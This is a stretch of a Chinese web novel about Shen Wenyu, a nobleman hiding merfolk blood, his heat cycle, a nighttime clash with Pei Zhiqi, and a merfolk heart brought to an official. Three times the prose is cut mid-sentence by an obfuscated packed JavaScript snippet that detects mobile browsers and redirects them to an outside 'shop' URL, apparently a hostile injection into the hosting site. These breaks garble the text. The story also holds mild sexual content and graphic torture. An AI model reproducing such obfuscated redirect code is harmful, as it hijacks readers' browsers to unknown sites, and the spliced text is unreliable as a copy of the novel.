屋内好似一张铺开的血卷,锁链横陈宛如巨蟒,池母尾处鳞片斑驳,血迹淋漓,心头肉也被歪歪扭扭剜走了一半,最后吊着一口气,在唱歌。 唱一首……哄小孩入眠的歌。 知道来的人是永康侯时,这位一生从未靠近过海岸,永远战战兢兢的鲛人母亲温柔摸着他的脸,手腕残伤,血流如注,同他轻轻说:“……你是好人。” “阿池跟着你,是好事呀。” 没有医救的可能,池母是永康侯亲手杀的。 沈文誉也是在那天,彻底明白了自己不为这里所容。 断线似的细雨落下来,牵连如丝,很快打湿了沈文誉与池听屿。 永康侯夫人的温柔简直是一种本能,很快想起来文誉不喜欢淋雨,作为母亲的强大自制力与调节力让她很快收拾好情绪,红着眼眶对沈文誉笑了笑。 “快进去吧,”池听屿说,“下雨啦。” . 或许是淋了雨又情绪起伏的缘故,小文誉当晚回去就发了高烧,脸颊烫得能煮熟鸡蛋,意识已经模糊了,只记得浑身都热。 哪里都热。 耳尖、脸颊、脖颈、胸膛、腰腹。 还有…… “……” 双眼猛然睁开,沈文誉翻身坐起,被褥滑落下来堆叠在腰间,胸膛起伏不已,一时间只能听见自己破碎的喘息。 他还沉浸在梦中压抑的情绪中,心跳紊乱而急促,闭上眼等了等,后知后觉意识到自己确实在不正常的发热。 好渴…… 不单纯是体温升高,还有来源于更深处、更隐蔽的地方,好似藏了一枚泉眼,某种快要将人吞噬殆尽的热汩汩涌流出来,偏偏又无法通过抓挠来缓解,难受得无可消磨。 叫人腰身酸软,情灵昏沉。 薄汗浸出来,单薄里衣紧紧贴在肌肤上,半透出莹白肤色,已经湿了。 啊,开始了。 沈文誉面无表情地想着,不自觉地抚了几下腿根纵横的伤疤,思考是否借由疼痛将这生理反应压下去。 就在此时,房外传来了细微动静。 实在是细微。 布料的摩挲好似幻觉,掺杂着几不可闻的脚步声,那动静简直比猫还有无过之而不及,如果不是沈文誉天生听力过人,根本无法察觉。 只是深更半夜…… 谁不睡觉在宅子里走动,动静还如此隐蔽? 沈文誉抿了抿唇,表情沉下来,从枕头底下抽出一把匕首——匕首迎着月光时泛出蓝紫色光,明显是上乘货,也不知道是从哪里得来的——赤着脚,忍着身子的强烈不适,悄然无声地靠近门。 门外的脚步声有些乱,显然没有明确的方向,在四周徘徊不久,很快靠近了这里。 沈文誉正发着烧,睫尾湿汗模糊了视线,手臂无力,只有一次必中的机会。 他不知夜访的人有何目的,不管怎样,却是实打实地动了杀心。 他屏住呼吸,侧过身子,轻轻贴在门扇后,细心听着门后动静。 脚步越来越近,近乎逼近门外,沈文誉又将匕首握紧了几分,心跳震得胸口发麻, “吱呀——” 门扇的轻微开阖声与破风声一同响起。 沈文誉第一时间动了,手腕翻转,从阴影处自下而上显出行迹,速度之快只能捕捉到几缕残影,将刀尖往来人门面狠狠刺去! 那人一愣,反应快到可怖,先扭头避开了这致命的招,五指精准攥住沈文誉手腕,不知掐了什么穴位,沈文誉右手一麻,登时泄了力,匕首当啷掉在地上。 即使如此,那人脸颊还是被锐利的刀边蹭了道血痕。 沈文誉拧腰后仰,二话不说左手作刃,又往他脖侧劈去。 两人顷刻之间过了几招,看得出来对面已经收了力,再次被扣住手腕时,沈文誉闷哼一声,跌进一个充斥着幽冷木香的怀抱。 那被刀锋割断的发丝此时才缓缓落地。 “……” 来自遥远生理冲动生猛而霸道,光是这点触碰已经叫他全身血液逆流。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113913|195884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈文誉呼吸杂乱不成章法,手指不受控地发着抖,只是一顿,又反手狠撞了上去。 裴止弃制着他,不得不开了口:“是我。” 他原以为开口后沈文誉会停手,未曾想那人几乎一个磕绊都不打,不管不顾挣脱控制,五指抓向他肩胛,还欲卸掉两块关节。 裴止弃收着力气,不想伤他但也不想挨打,本来就为难,见状“啧”了一声,打算让他稍微吃些苦头。 也就在这时,他终于借着月光看清了沈文誉的脸。 这人无双的姿色他一直清楚,眼下却少了几分疏离冷漠,身子单薄而只着白衣,整个人像是从水里捞出来的那般狼狈,脸颊绯红如烧,扫过来的一瞥……简直水光泛艳。 裴止弃一时怔愣,等到拳风到脸上了才后知后觉反应过来,唇角一痛。 “……” 沈文誉冷冷站远了,没揍爽,剜过去的视线带着霜。 他当然知道是裴止弃,在被碰到的第一时间就反应过来了,但那又如何,夜半三更翻别人家门,非奸即盗,还恰巧撞上他这个状态…… 沈文誉忍不住磨了磨牙,恨得不行。 沈文誉:“你轻功就是用来爬墙?那你姘.头估计还挺多,毕竟爬得还挺熟练。” 牙尖嘴利的样子倒是罕见,但这话,怎么倒像是把自己也算进了姘.头的行列。 裴止弃自知理亏,偏过头,喉结上下动了动,咳了两声才开口。 “……抱歉。” “我下次真该在门口挂句‘裴大人与狗不得入内’,狗进来都知道是在别人屋檐下,吠都得低俩声调;裴大人到好,空手过来找人打架,力道这么重,你犯病?”沈文誉不轻不重刺了两句。 他是真气,千躲万躲没躲过裴止弃。 他现在状态非常不好,理智崩得太紧,在摇摇欲坠的边缘,不知何时就断了,体温原本就低,一发起热来更是痛苦不堪,不能言说的渴求勾着他想要更多。 抚摸也好,抚摸……可是比抚摸更舒服的呢?他想到这里却是茫然了一瞬,对于生理常识的不屑一顾终于叫他在这时候吃尽了苦头。 除了触碰,还有什么可以叫他解脱? 只是忘了,裴止弃是个没眼见力的。 裴止弃见热汗衬得那人乌黑瞳孔如水洗,唇色却惨白如墙,将手背贴在他额头上轻轻试了试,被温度刺得皱了眉:“你发烧了。” 沈文誉咬破了唇尖死皮,清醒了几分。 “你到底过来干什么的?”他问。 裴止弃难得哑然,认真地看了他一眼,似乎也在思考自己这段话的可信度: “……若我说,前日锁春阁,沈大人同我…纠缠间,玉佩不小心弄掉了。我突发好心,打算趁夜将其送回,你会信吗?” 沈文誉薄唇上下一碰,原本惨白的唇色生生气红了:“滚。” 裴止弃欣然应下了这句骂,将玉佩递过去。沈文誉探手来接,只是都拿到了,裴止弃却迟迟未松手。 他就着这个姿势,带着点坏心思轻轻开口:“只是我好奇。” 沈文誉微愣,看过去。 裴止弃逆着光,银色月光在他周身轮廓勾了个形,浓密而上翘的睫毛在男人眼下滋养出小片阴影,眼底情绪复杂不明。 “猜猜我查出来了什么?” “京城中行乞或是流浪的北人,居然或多或少都受过这块玉佩主人的恩惠……文誉,你说,是不是真叫人意外?” 裴止弃一字一顿,逼他听得清楚。 他问:“如果一个人言行不一,你觉得这个人从头至尾,到底什么才是真的?” 13. 难受 沈文誉动作很轻地顿了顿。 也许他确实动摇了一瞬,这点可以从他眨得稍微缓慢些的眼睫看出来,但转瞬又恢复了平常。 他用了点力,将玉佩夺过来,语气平淡,“你说的是‘玉佩主人’而非我之名,说明你也不能确定是我,对吗?” 这样轻飘又不容置疑地将话题挡了回来,同他饱设禁锢的内心一样。 是,裴止弃心道。 谢晤只说过,有族人偶尔一两次提到那恩人带着这玉佩,但是大多数时候似乎都非恩人本人,而是手下传话一类的角色,除此之外,“恩人”从不露面。 “还是这玉佩是什么稀罕物吗,全平京城只有我有,让你能笃信那就是我?” 双鱼缠绕的玉佩样式确实不少见,但偏偏就这么巧…… 沈文誉见裴止弃不说话,于是点点头,一言定了音:“所以你过来诈我。” 裴止弃:“……” 诈.骗犯百口莫辩,摊了摊手示意抱歉。 什么样的人可以做到面对质疑的第一时间,是将主动权继续掌握回自己的手里呢? 像是从没有体会过落在下风的滋味,如此衿骄又居高临下。 但尚在发热的也是他。 这脸颊泛潮的柔软简直让人联想到桃子熟烂后汁水饱溅的模样,好似能嗅到隐约的甜香,平日里的不近人情大打折扣。 不会有人被一只桃子吓到。 裴止弃于是心情很好地朝他走近一步,压迫感渐进,沈文誉忍着强烈不适没有退,抬眸瞪他。 不凶。 裴止弃微微俯过来了身,声音咬在唇齿间,逼得轻而稳的一道,好言相劝起来。 “那你就最好藏稳了。” 他说:“身高、体态、行为习惯,我若是真的有心,有一万种法子来找你。” 沈文誉一时不慎,险些将唇肉咬破。 他现在晕近距离,晕接触,晕视线交缠,晕男的女的所有人。指尖下意识地攥紧了,在认真思考是先掐晕自己还是一拳锤爆那张俊脸,烦得快不能思考,但还是融融漾出一个浅笑,轻声呢喃。 “……那你就找啊。” 他觉得躯体好像被挖空了,从骨子里渗出来的一阵阵空虚,密密麻麻如蚁噬,痒意从血管爬满全身。 他口干唇燥,分明体内源源不断溢出水液,却不知道要怎么缓解。 视线渐渐模糊,裴止弃身形逐渐扭曲,他好像又说了什么,可沈文誉已经听不清了。 这种身体超脱控制的感觉让沈文誉隐隐有些不安,语气也克制不住地焦躁起来。他希望裴止弃可以离他远一点。否则有什么,有什么…… 将怎么样呢? 这个回答也在裴止弃意料之中,他也没认为沈文誉会老实的乖乖交代。 但即使早有准备,裴止弃还是叹了一口气。 无论如何,他都希望沈文誉不要是敌人。 面前这个人的立场不清、目的成谜,在一切尚未水落石出前,他敬而远之,丁点儿不想掺和。 “裴止弃。” 好了,到此为止了。沈文誉喊他名字,指尖一点点掐入掌心,依旧挡不住神智的愈发混沌。 “裴大人独来独往惯了,看不出来还是一个自作多情的种,”他的恶意带着微弱的急切,说话比平日里更不计后果,“乱认恩人这种事也是叫我碰上了,可千万别,这种殊荣我无福消受。” “你们一族是死是活与我何干?若是真的魂归天外了,对那些无来处的人,保不齐还是一种解脱……” 沈文誉还想说什么,嘴唇动了动,却发不出一点声音。 裴止弃身上好闻的皂角香一直撩拨着他,在狭窄的空间里蛮不讲理地侵.占他摇摇欲坠的感官…… 沈文誉闭上眼,意识彻底断了。 这种“不得好死话”裴止弃简直听得太多,没有千遍也不下百遍,侧着耳朵能抖出来一捧,倒着右耳又掉出来一捧。 更别提楚人文化繁荣,更爱发明些含蓄的辱骂,从不管他们这种外族人能不能听懂。 所以叽里咕噜说什么呢,裴止弃从耳朵里过了一遍,不听。 他耐心等沈文誉说完了,正打算开口,却见沈文誉身形一晃,如风中柳絮,骤然往旁侧栽去—— 这就出乎意料了。 裴止弃下意识捞了他一把。 一拽一牵,纠缠之下,两人以不算好看的姿势落了地。 裴止弃只匆忙垫了他的后脑,自然顾不上别的太多,近乎以挤的方式压在了沈文誉身上,热烘烘的身躯贴着他,听见那人意识昏沉间似是受痛,仰头泄出一点带着哭腔的闷.吟。 实在是……并非故意。 裴止弃咳了一声:“……喂,你到底怎么回事?” 没有回应。 …态度恶劣的先晕倒了算什么道理?少爷也要碰穷人的瓷吗? 青黑长发蜿蜒,如流水似铺了满地。 与冷硬话语截然不同,掌心下的皮肤是滚烫到快要融化的柔软,带着微微的汗湿,沈文誉眼皮白皙,正因为难受而拧蹙,呼吸清浅得近乎消失。 “喂,沈文誉。” 裴止弃啧了声,他把人从地上揽进怀里,虽说美人入怀是风流轶闻,但怀里这位有点带毒,裴止弃忍住了没扔。 “身子不舒服还是有什么隐疾,我是去叫人还是把你带回我那看病,前者你的名声受损后者我的,你觉得呢?” 他想了想,“那要不还是我的吧,反正我也没那玩意。” 他正说着,又被身下人卧蚕中央的那颗小痣吸引了视线。 小痣静静地悬着,随着主人隐约的挣扎而颤抖着,像一滴永远不落的泪。 裴止弃关注到这地方几次了,好不容易有机会,当然不摸白不摸。整个掌心包住了身下人的半边脸,指腹抵着下眼睑,细细摩挲了两下。 “居然是真的。”他了然。 好在沈文誉只是暂时失去了几秒的意识,裴止弃下动上摸浑身不安分,尸体也该不忿地坐起来了,于是挣扎着睁了眼。 他耷着眼皮,视线窄窄的,从裴止弃深邃的眉眼移到他的下颏,还有些茫然,发现自己正被男人坚硬的肌肉压着,好重,难怪快要累死了。 沈文誉软着手臂推了推他,语气不满但绵软乏力,谴责道,“……罪魁祸首。” 裴止弃被哽了一句,气得有些想笑。 “瞎白眼狼”,他说完,随后在沈文誉的膝弯下一抄,轻易将少爷打横抱了起来。 “你!” 此句还没说完,刹那天旋地转,失重感很快被一双肌肉紧实的手臂抚平了。裴止弃抱抄着他,评价道,“好了,不重。” 沈文誉身子一僵,闭了嘴,难得乖地靠在裴止弃怀里,一言不发。 沈少爷可能挑食,简直没什么重量,抱起来很轻松。 裴止弃步子很稳地往床边走去。这个距离气息相互交缠,沈文誉不安地动了动,死死咬着下唇,呼吸被压得又软又细长。 难受…下.面…… 裴止弃把他放在床上,心想还挺乖。 就是不知道为什么烧成这样了还要强撑着。 他这边腰还没直起来,那位陷入被褥中的患者卷着被子一路滚到了床里边,把自己裹成了一只密不透风的茧,只留在外面一个漆黑圆润的后脑勺,不动了。 “……”又怎么了? 裴止弃终于审视了自己,三省吾身之后,也没觉得自己做错了哪:“我到底给你留下了什么阴影?” 如此大言不惭的发言都没招来冷笑。 扁扁的茧……充耳不闻,缩在床角,好像已经睡着了。 裴止弃向来懒得管别人死活,换平常早头也不回地走了,但沈文誉的状态实在不正常,他迟疑半晌,还是叹了一口气,“我去给你叫个馆医,还是叫你们管家过来?” 忙活半天还没等到这人一点好脸,裴止弃又磨了磨牙,没好气刺道:“还是给你订个棺椁?下葬那天我不会缺席的。” “不。” 沈文誉开了口,气息不稳,声音沙哑,听着还有几分……惨淡。 “不用你管。” 沈文誉此人,防备心可以从某些小事窥探出端倪,说话圆滑而不留漏洞,将里外的窥探近乎滴水不透地挡了回来。 但他大部分时候还是能正常交流的,甚至如裴止弃观察祝今宵所做的那样,你对他好一分,他能态度好十分,何尝有这么油盐不进过。 平常的口角纠纷也就算了,这种犯病的时候,裴止弃都不计那仨瓜俩枣的前嫌,不愿真看他出什么好歹。 这人何必非要逞口舌之快,和自己的身体过不去? 几番被不由分说的抗拒,裴大人是个泥人也该烧着了,万年不发的脾气又隐隐冒出尖儿,唇角勾了勾,倾过身拽他的被角,打算强行把茧子强行挖出来。 “你到底能不能先看看自己狼狈的……” 你能不能先看看自己这副样子再跟我谈条件? “你走吧,”沈文誉打断他,用力拽着另一边同他角力,整个身子蜷缩,将头埋在被中,像是忍着什么庞大而难以言明的痛苦,喉咙里滚出来的话语像是呜咽。 “好吗?”他轻声说,“算我求你了。” ……算我求你了。 这下万千的话语也都化作了灰。 沈文誉本就清瘦,缩在被中的一小团更加看不出分量,即使自己清楚在示弱,也不愿意拿眼神看他装可怜,浑身竖起了软软的一圈刺,像是保护着自己最后的尊严。 那最后几个字只是在唇齿间含糊着,像呓??,但裴止弃听清了。 “……” 裴止弃终于松开手,有些拿他没办法地叹出一口气,“我以为你应该知道,我方才是真想帮你。” 等到脚步声渐渐远去,沈文誉才长舒一口气,视线氤氲迷蒙,两颗小痣像是被水冲洗过,愈发曜黑显目。 难捱的、压抑的呼吸声在狭窄的空间里回荡,在某个高亢的时刻又彻底断掉,唯余紊乱而纤细的尾音。 沈文誉死死攥着蚕丝棉褥,指节劲瘦,黛青色的血管突兀而嶙峋,正泛着白。 “好难受……” 下襟泥泞濡湿,他十分勉强地出/过一轮,身子疲惫不堪,脑子终于清醒了些。 只是方才害怕被发现的慌张和来自远古本能的生理渴求,令他腰身发麻,心脏充血狂跳,连此刻都尚未平息。 沈文誉埋在枕头里,麻木地想,你算什么。 裴止弃,你算什么。 我们才是最下 贱的种族。 . 天色蒙亮,浅淡的鹅蛋青浮在遥远天际,偶有闲云掠过。 一辆马车停在路边,来人撩开客栈门帘,微微矮下身子进门时,店小二还在打着哈欠。 “早啊客人!请问要来点什么?” 几张雕花木桌错落有致地摆放着,只偶尔有三两人吃着酒,即使知道有人来了,也懒得抬头看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可祝今宵照样我行我素,没什么要改的意思。 照折子里的说法,只要面对形貌姣好之人,祝侍郎就容易走不动道,心头瘙痒,宛如狐媚,动辄撩拨暧昧,摄人心魄。 祝今宵对此回应,少看点聊斋志异。 可这叫封和衍的人都与祝今宵面面相对许久了,狐媚本人也没有半点动静,好像突然就从了良,反而有意避着对视。 这诡异的氛围犹如死水,压得周围空气都严峻了些,小二好半晌都没敢靠近,颤巍巍将滚烫的骨头汤放在二人桌前。 好在很快有人打破了这缄默的气氛。 “呕——” 一人撩开门帘,跌撞着闯了进来,脸色煞白,还没站稳先撑着木桌吐了一场。 这人装束平常,又一身腥臭味,周围几人或多或少都露出了嫌恶表情,祝今宵倒是面容如常,起身欲搀扶。 “你别,”封和衍拉住他,“还有的吐。” 果不其然,等到几人可以好好坐在桌前时,已是一盏茶后。 “晚生符尺霜,泉州古安人士,于延和二十年秋闱中举,曾在徐州苏临担任一个小主簿。久闻祝大人威名,今日得见,实感有幸。” 徐州距平京相隔三千里,符尺霜一路称得上水陆兼程、舟车劳顿,到达京城居然只用了不到半月。 他来之前就差人给祝今宵递了信,说是有重要东西要呈递,务必要见上一面。 “你为何非要见我?”祝今宵好奇道。 “我在朝中可算是左右都不得好,要巴结我的人也都被全数挡了回去,光棍一根,还没什么靠山可言,若只是想讨好谁的话,我还是劝你不要白费这个力气了。” “不是普通的东西。” 符尺霜摇了摇头。他的嘴唇依旧苍白,脸颊却因这几句话露出异常激动的红光,忙不迭从袖子里掏了掏,将一个紫檀木的小盒子推至祝今宵面前。 他看向祝今宵,眉眼间遮不住的兴奋。 他本以为祝今宵会好奇将东西拿过去,手还提前一步压在盒盖上,打算卖个关子。 却见这人只是抱着臂坐着,冷峻地看着他,面带审判,似乎对他要送的东西毫无兴趣。 “……”祝今宵免不了生出几分窘迫来,干笑几声,找补似继续道,“找您正是因为这点。这东西在您手上才足够安全,我才有机会活着面圣。” 陛下? 祝今宵眉头一挑,下意识看向陪同的封和衍。 封和衍正无聊地在数木桌上的划横,似有所感般望过来,同他对上视线,然后看戏般勾了唇角。 符尺霜伸长手臂,按住那紫檀木盒子的一个边角,缓缓将其打开。 他首先闻到了一股血腥味。 一定是血腥,甚至是有些干了的血味,他对这东西太熟了,掺两滴加进他喝的水里都能立马察觉。 但这股味道和他以往接触过的还是有些细微的不同。 盒子中腥甜味道隐约,白布包裹的东西渗出几分斑驳血迹,露出几分寒碜,怎么看都不像是能上贡的东西。 这血闻起来有点太甜了,祝今宵便忍不住又皱了皱眉,“什么玩意,陛下没有收集脏器的癖好。” “这不一样。” 符尺霜语调阴柔,引过他的注意力,好似鬼魅俯身耳语,一语惊了千浪。 “——这是鲛人的心啊。” 14. 隔墙 隔墙有耳。 事关于此,任何地方都算不上安全,祝今宵当机立断问小二要了客栈包间。几人上了楼,将房门闭严实了,祝今宵才沉下表情,开了口。 “你可知弄虚作假、欺君罔上是重罪?” “您这说得!就是给我十个胆子我也不敢欺骗皇上啊,”符尺霜听祝今宵话里话外都是不信任,一时间有些急了,“如假包换的人鱼心,是我亲眼瞧着从鲛人身上活剥下来的,其心数月不腐不朽,若真是怀疑,寻太医一验便知!” 若此物为真,简直是千金不换的宝贝。 祝今宵入朝为官多年,有关此类的秘辛谣言都听过几耳,大概知道上贡是以鳞片为主,肉都算罕见,更罔论更为稀少的鲛人心了,甚至算得上闻所未闻。 这物什要是见了圣面,他都能想象到延和帝会怎样欣喜若狂。 不说下半辈子,就连祝今宵几代子孙都能受此林荫、从此高枕无忧。 怪不得符尺霜咬死了要见他。 这东西在无权势的平民手上,简直就是烫手的山芋…中的山芋,有损气运都是轻的,得看有没有命来承受。 若是求助到结党私营之人,东西被昧下也就算了,保不齐有灭门之忧。 而祝今宵此人,苍蝇都懒得叮的光棍一个,唯一效忠的就是皇上。 只有找到他,才有机会带着东西活着见到圣上。 “好,那你先回答我,此物从何而来?” “……渔民献上的,说是这东西可以大补……山高路远的,消息闭塞,他们可能也不知道这东西有多宝贵吧,就当什么感谢的答礼给我了。” 男人话语支吾,目光闪躲,还有些神经质地扣着手指死皮,太明显了,一看便是在撒谎。 祝今宵简直想冷笑了,“方才还说是亲眼瞧着剥下来的,转头就变成了渔民赠予。看起来你找我也算不上真诚,那要不还是另请高明?” “诶!” 符尺霜有些没辙,叹了一口气,才接着道了实话: “……还真是什么都瞒不过祝大人。我方才说我‘曾’为主簿,‘曾’的不算久远,今年元月因贪污罪名被贬,位置让给了知县的女婿……呵,贪污,可我一个主簿能贪什么,分明就是那无赖为了赶走我,强行安了个莫须有的罪名!” 他说到这里,露出几分微薄的怨恨来。 “我对官场失望至极,本打算好好休息一段时间,回家乡时恰好路过泉州桃江县。 “那时天色已晚,我便随意找了一个村子借宿。那村子像是在准备什么东西,所有人都神经兮兮的,多少钱都不要,说什么都不让我在那住。后来还是有一个好心阿姐收留了我,给了我一块休息的地方。 “我自然感激涕零。但本来就觉得奇怪,也有些莫名的不安,就没有睡熟,所以当半夜村里传来一个小孩的尖叫时,我也没有多犹豫就冲了出去—— “啧啧,结果您猜我看见了什么?” 符尺霜可能本职科举副业写书,总之讲故事的水平很有一套,声情并茂,到关键处还会卖个关子,吊得人心痒难耐。 可惜祝今宵担任刑部侍郎以来,各种离奇的故事当家常便饭吃,对纯情失意小伙夜闯恐怖鬼村之类的艳.情故事更是不以为意,听到了关键之处,连呼吸都没点起伏。 “说重点。”祝今宵有些不耐地扣了扣桌角。 “正要说到呢,”符尺霜忙应声,“那是一个砖石砌成的屋子,缝里透着红,瞧着可阴森,那晚火光大盛,隔着老远就能看见那坐在地上吓得哭的小女孩。屋子的门已经被打开了,里边站满了人,鬼森森地发着愣,我原以为那红色是火光倒影……却没想到是血。 “全都是血啊,大人,满墙、满地,我现在想到那副场景,腿根还打哆嗦…… “房子正对着门口,用锁链关着一条鲛人。鲛身长近三米,庞大到近乎神性。尾巴像是蛇一样卷在地上,尾尖让钉子钉住了,动弹不得…… “您真是没有亲眼见过,真是好诡谲的生物,鳞片泛着光,容貌昳丽至极,我隔老远看了两眼,就着迷似移不开视线。” 符尺霜讲到这里,不受控地露出几分痴迷,怔怔然回想起来。 “这个村子不知道是什么传统,对鲛人的存在似乎并不惊讶,还有一套完整猎杀的流程。那血都是出自这鲛人。他身上的肉被剜去大半,血流不止,甚至有心急的村民在强行拔他的鳞片,又或者是……” 符尺霜顿了顿。祝今宵听出他的未尽之意,蹙着眉追问:“什么?” 符尺霜移开视线:“食之。” 祝今宵默了默。 房内刹那针落可闻。 单这两个字,激起了祝今宵一身的寒毛直立。 也怪符尺霜讲故事的本领,那场景光是想象都叫人毛骨悚然。 一群村民围着一种肖似人的物种,像是魔怔了般,对其活剐虐杀,态度轻松得像是对待一盘野菜。 不……对畜牲都不会这样茹毛饮血。 就连刑部最严苛的刑罚,都比不上其残酷三分。 祝今宵的指腹搓了搓手心,好半晌才开口,声音有些哑:“这不行。” “嗨呀,咱们当然知道不行,”符尺霜道。 “但这不是山穷水尽刁民尽出吗,您和他们讲存天理灭人欲是没有用的。不过说起来应该也算是报应吧,那夜西边的柴房走了水,火势烧得黑夜亮如白昼,突然的事情发生了,几个最先冲出来的村民莫名其妙被抹了脖子,就这么瞪着眼睛死在了我跟前。 “泉州常见山匪作恶,我以为是山匪袭村,正准备跑,混乱之中见那最开始尖叫的小女孩摔倒在地,我一时心软,过去将她抱了起来,然后就看她手中死死攥着这颗鲛人心。” “……就是这样。” 符尺霜拍拍胸口,讲到这里仍然心有余悸。 祝今宵勉强压下心绪:“小孩呢。” “后来她母亲将她拉走,躲了起来,我手中拿着这东西,肯定不能留下,在河里憋了三分钟的气,游出了老远,才逃出来。” “是哪里的山匪?” “这我就不知道了,太混乱了,看不清。桃江县山脉崎岖,为了避税,山匪横行,早就不是一年两年的事情了。” “那你呢?你又扮演了什么角色?” 符尺霜还以为是在问自己,有些莫名其妙,过了两秒才反应过来祝今宵没有对自己说话,而是看向一旁的封和衍。 封和衍举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113915|195884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起双手作投降状:“诶,瞎猜,这可跟我没关系。” “跟封兄没关系,”符尺霜连忙道,“我还要谢谢封兄救了我一命呢。我们是在路上遇见的,那时候我要进京,打算走黑船时差点被那群恶民骗,是路过的封兄救了我一命,也是他让我来找您的。多亏了封兄,我才能十几日抵京。” “至于我,”封和衍顺口接了话头,笑起来嘴角有一个浅浅的梨涡,“我只是顺道来见你一面。” “不劳费心。你既然滚出京了,最好还是在外面老实待着,别回来给我添堵。” 祝今宵语气一言难尽,视线落在他身上,又不可避免看见了他喉间的字,针扎似错开了眼。 封和衍表情看起来更满意了。 听完来龙去脉,祝今宵态度稍霁,点了点头,用指背轻轻贴在裹得严实的白布上,发现那心脏居然还在跳。 缓慢而温热。 也不知道为什么这样了还活着,如此温驯又坚韧的种族。 “我可以帮你。但见到陛下后,你的愿望是什么,方便告知么。” 听到最后一个问题,符尺霜看了祝今宵 良久,露出几分深重的哀恸来,有些自嘲地笑了笑。 “没什么不能说的,我的诉求不是为了自己。” 他凑到祝今宵耳边低声说起来。 短短几句,听得祝今宵愕然不已,险些克制不住站起来,第二次咬牙问道:“此事当真?!” 符尺霜:“在下拿性命起誓。” . 商量好大致事宜,祝今宵不方便带人入府,便挑好新酒楼,要了两间上等房。 封和衍随意惯了,来去全看心情,反正花的是祝今宵的钱,他当然不会推辞。他与祝今宵许久未叙,勤勤切切跟了过来讨酒喝。 “你信他么?”封和衍单膝收起,坐在窗口边,歪过头看他。 “没什么信不信的,”祝今宵没滋没味地喝了一口茶,心不在焉地回道,“论迹不论心,倘若他真能在朝廷上揭露那些,也算是好事一桩。有什么旁的目的,我也管不上。” “我唯一怀疑的是桃江县。前不久陛下的探子带来的正是有关桃江县的消息。温、严二人还为此吵过,只是最后连鲛人的水花都没见着,后续也就无疾而终。我怀疑那纵火伤人的真的是山匪吗,还是山匪其实……” “慎言。”封和衍睨了他一眼。 祝今宵住了嘴。而后才反应过来自己下意识的反应太过窝囊,白了封和衍一眼,“不消你管。” 封和衍将杯中酒饮尽了,把玩着手中空杯,将其拿高了点,对着缺了一角的月亮看了看。 “朝堂之上暗流涌动,陷太深无法全身而退,太浅则尸骨无存,你要多当心。”封和衍叮嘱道,“你身在其中,务必提前找好退路,若是有合适之人,相互照顾一下也未曾不可。” 合适的人…… 封和衍不着调的时候占大多数,说人话的次数能赶上母猪在树上仰卧起坐。 所以这句话祝今宵听进去了。 “怎么,有合适的人?”封和衍瞧他态度奇怪,不免好奇。 “没有。” 祝今宵毫不客气地送客:“滚回你自己的房间去。” 15. 心脏 情期发作不过一日,恰好赶上休沐,留了时间休息,也算是万幸。 再一日,沈文誉已经恢复得差不多了。 池听屿收到消息之后急得不行,当日就要登门,被沈文誉好说歹说劝了回去。 结果没想到第二日清晨,永康侯亲自来了。 侯爷来得大动干戈,指挥着下人将带过来的一堆东西往里搬,仗势活像是儿子要生了,里里外外忙活了一个上午才消停下来。 迫于夫人的耳提面命,永康侯沈朝言纡尊降贵地给儿子泡了一碗药。 沈文誉的宅子是自己购置的,屋子也是亲自监的工,布置得素雅而不失大气。 墙上画卷绘着水墨江南,案头烧了香薰,炉子吞云吐雾的,反正不是沈文誉习惯的味道。床边釉里红竹桃纹瓶里插着几只虞美人,花瓣灼灼,已经让手欠的侯爷薅得差不多了。 “我说您。” 沈文誉勉强将药咽了,苦得直皱鼻子,觉得身子好了些,但今日被特地赦免了不必起身,也就懒懒倚着床,无奈道。 “是母亲那边栽的花不让您摧残,于是就来祸害我养的吗?” 侯爷被点了名,游离的神志才归了位,低头一看,虞美人原本肆意盛开的花瓣凋零,花蕊孤伶伶立着,像是一只瞳孔在怒目瞪着他。 “咳。” 罪魁祸首收回手,搓了搓指尖。 沈文誉笑笑:“好了,我真没什么事情,您要是无聊的话还请回吧,顺便代我向母亲问安。” 他本就不想二老为自己担心,沈朝言又是个不善表达的,让他关心两句能尴尬得把院子里所有的花草薅秃,然后来回把草坪犁平,光站在这面面相觑简直太为难侯爷了。 但沈朝言没动。 沈文誉看出了侯爷有话要说,于是坐直了身。 “永康侯是世袭罔替的册封。” 沈朝言望着那花,不知道透过凋零的花朵看见了什么。 “名头安在我父亲身上的那一天,他就知道自己该退了。陪着先皇南征北战的功勋换来的奖赏,是要用下半辈子的碌碌无为来享受的。” 沈文誉安静地听着。 “水满则溢的道理我也不讲给你听了,你学都要学得烦了……但文誉啊,你还不懂。” 侯爷看着自己唯一的孩子,目光渐渐柔和下来。 沈文誉继承了母亲容貌上绝大部分的优点,或许他们一族原本就有玉质金相,不论男女,都是姝色绝顶。 而他如此肖似母亲,叫沈朝言每次看见他,都满心絮言不知从何处说起。 “沈家避官场多年,说得难堪一点就是为了活命,我唯一的愿望,就是想你和你母亲可以好好的。我希望你们可以在我的庇护下度过这辈子,哪怕要苟藏一生的身份。 